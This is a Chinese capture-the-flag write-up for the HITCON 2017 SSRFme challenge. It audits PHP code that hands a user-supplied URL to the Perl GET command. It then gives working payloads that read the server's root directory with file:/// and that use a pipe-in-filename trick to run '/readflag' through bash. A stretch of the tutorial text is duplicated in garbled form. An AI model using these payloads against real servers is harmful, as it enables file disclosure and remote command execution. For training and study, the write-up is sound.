当前位置: 首页 > news >正文

[HITCON 2017]SSRFme 1

目录

  • 代码审计
    • @ 符号
    • shell_exec() 函数:
    • GET " . escapeshellarg($_GET["url"]):
    • pathinfo($_GET["filename"]
    • basename()
  • 题目解析

代码审计

118.182.186.90
<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];}echo $_SERVER["REMOTE_ADDR"];$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);@mkdir($sandbox);@chdir($sandbox);$data = shell_exec("GET " . escapeshellarg($_GET["url"]));$info = pathinfo($_GET["filename"]);$dir  = str_replace(".", "", basename($info["dirname"]));@mkdir($dir);@chdir($dir);@file_put_contents(basename($info["basename"]), $data);highlight_file(__FILE__);

输出ip地址
基于客户端IP地址和固定字符串 “orange” 计算得出的MD5哈希值作为目录名的文件夹,并将当前工作目录切换到这个新创建的目录中

@ 符号

用来抑制可能出现的PHP警告或错误,如果无法创建目录则不会抛出错误信息

shell_exec() 函数:

  • shell_exec() 是 PHP 中用于执行 shell 命令并返回输出结果的函数。

GET " . escapeshellarg($_GET[“url”]):

GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。当open函数要打开的文件名中存在管道符(并且系统中存在该文件名),就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行。

pathinfo($_GET[“filename”]

pathinfo() 函数:pathinfo() 函数用来返回一个关联数组,其中包含文件路径的信息。它可以提取以下信息:

dirname:文件路径的目录部分。
basename:文件名和扩展名部分。
extension:文件的扩展名。
filename:文件名(不包括扩展名)

basename()

basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目录路径),或者从一个 URL 中提取最后一部分路径(通常是文件名或者目录名)。

thinfo($_GET[“filename”]
pathinfo() 函数:
pathinfo() 函数用来返回一个关联数组,其中包含文件路径的信息。它可以提取以下信息:
dirname:文件路径的目录部分。
basename:文件名和扩展名部分。
extension:文件的扩展名。
filename:文件名(不包括扩展名)
basename()
basename() 是 PHP 中用来获取文件名的函数,它可以从一个文件路径中提取文件的基本文件名部分(不包括目录路径),或者从一个 URL 中提取最后一部分路径(通常是文件名或者目录名)。

题目解析

先读取一下根目录

payload:?url=file:///&filename=a

再访问

payload:sandbox/(orange加你的ip的md5值)/a

在这里插入图片描述
读了一下flag为空,存在readflag
通过GET特性,来运行readflag
需要先创建一个存在运行命令的文件名

payload:?url=&filename=|bash -c /readflag

然后访问该文件的时候,会执行该命令,并将结果储存在abc中

payload:?url=file:|bash -c /readflag&filename=abc

访问abc

payload:sandbox/(orange加你的ip的md5值)/abc

得到flag
在这里插入图片描述

http://www.lryc.cn/news/412071.html

相关文章:

  • 看不见的硝烟:中国网络安全三十年沉浮史
  • 3.7.物体检测算法
  • Spring源码解析(27)之AOP的核心对象创建过程2
  • 【题解】【数学】—— [CSP-J 2023] 小苹果
  • python实现微信聊天图片DAT文件还原
  • 栈与队列——1.有效的括号
  • C语言家教记录(二)
  • Cocos Creator2D游戏开发(10)-飞机大战(8)-计分和结束
  • 经验分享:大数据多头借贷风险对自身的不利影响?
  • OpenCV 图像处理 轮廓检测基本原理
  • C 语言动态顺序表
  • 擅于辩论的人可以将黑的说成白的,但是存在无法解决的矛盾
  • java的命令执行漏洞揭秘
  • 爬虫中常见的加密算法Base64伪加密,MD5加密【DES/AES/RSA/SHA/HMAC】及其代码实现(一)
  • C语言数据在内存中的存储超详解
  • 【大模型】【NL2SQL】基本原理
  • RK3568平台(显示篇)DRM vop驱动程序分析
  • vue3 动态加载组件
  • Latex on overleaf入门语法
  • 使用Echarts来实现数据可视化
  • 一文搞懂GIT
  • jQuery入门(四)案例
  • 揭秘MITM攻击:原理、手法与防范措施
  • 【YOLOv8】一文全解+亮点介绍+训练教程+独家魔改优化技巧
  • 创建mvp ubo(uniform buffer object)
  • 1.GPIO
  • C++必修:STL之vector的了解与使用
  • 【MySQL】索引 【上】 {没有索引的查询/磁盘/mysql与磁盘IO/初识索引}
  • GO goroutine状态流转
  • DLMS/COSEM中的信息安全:DLMS/COSEM安全概念(上)